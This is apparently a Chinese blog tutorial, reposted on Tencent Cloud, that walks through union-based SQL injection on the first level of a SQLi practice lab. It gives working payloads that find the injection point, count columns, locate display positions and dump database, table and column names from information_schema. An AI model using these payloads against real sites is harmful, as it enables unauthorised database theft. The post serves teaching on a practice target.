前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入(SQL注入(SQLi)攻击)攻击-联合注入

SQL注入(SQL注入(SQLi)攻击)攻击-联合注入

作者头像
红目香薰
发布2022-11-29 15:22:25
2.3K0
发布2022-11-29 15:22:25
举报
文章被收录于专栏:CSDNToQQCode

页面有显示位时 , 可用联合注入

本次以 SQLi 第一关为案例

第一步,判断注入类型

参数中添加 单引号 ' , 如果报错,说明后端没有过滤参数 , 即 存在注入

代码语言:javascript
复制
?id=1'

从数据库的报错中我们可得知 , 最外边的一对单引号是错误提示自带的,我们不用管

我们输入的1 , 两边的一对单引号 , 是SQL拼接参数时使用的

而1 右边的单引号 , 是我们自己输入的

也就是说 , 后台SQL中拼接参数时 , 使用的是单引号 , 固 注入点为 单引号字符串型

第二步,获取字段数 order by 1 , 即 根据第1列排序 , 修改排序的列,如果存在该列,则会正常显示 , 如果不存在该列 则会报错 , 我们从第1列开始排序 , 然后是第2列,第3列

代码语言:javascript
复制
?id=1' order by 4-- a

第4列时,开始报错,没有第四列 , 也就是说,返回的结果中只有3列, 固 3个字段

第三步,获取显示位

联合查询 可以将左右两个查询语句的结果合并在一起显示,左边的查询结果显示在上方,右边的查询结果显示在下方 , 前提是两个查询结果的字段数一致 , 如果字段数不一致则会报错 , 这也是我们上一步需要获取字段数的原因 

我们输入id为-1 , 由于id没有负数,导致SQL左边的查询没有数据 , 最后的结果就只会显示右边的查询结果 , 也就是 1 2 3 

代码语言:javascript
复制
?id=-1' union select 1,2,3 -- a

第四步,脱库

 我们参数中 3 替换成查询语句 , 从而在页面 3 的位置上显示我们的查询结果

group_concat() , 可以将多行结果合并为一行

代码语言:javascript
复制
?id=-1' union select 1,2,
(select group_concat(schema_name) from information_schema.schemata)
 -- a

  我们可以看到 , 原本3的位置 展示了我们查询的数据 : 所有数据库

通过修改参数中 3 处的查询语句 , 可以显示不同的结果 如 所有表

代码语言:javascript
复制
?id=-1' union select 1,2,
(select group_concat(table_name) 
from information_schema.tables 
where table_schema='security')
 -- a

所有字段

代码语言:javascript
复制
?id=-1' union select 1,2,
(select group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users')
 -- a

 拿到表和字段信息后 , 就可以任意查询数据库中的数据了。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-09-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 第一步,判断注入类型
  • 第三步,获取显示位
  • 第四步,脱库
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档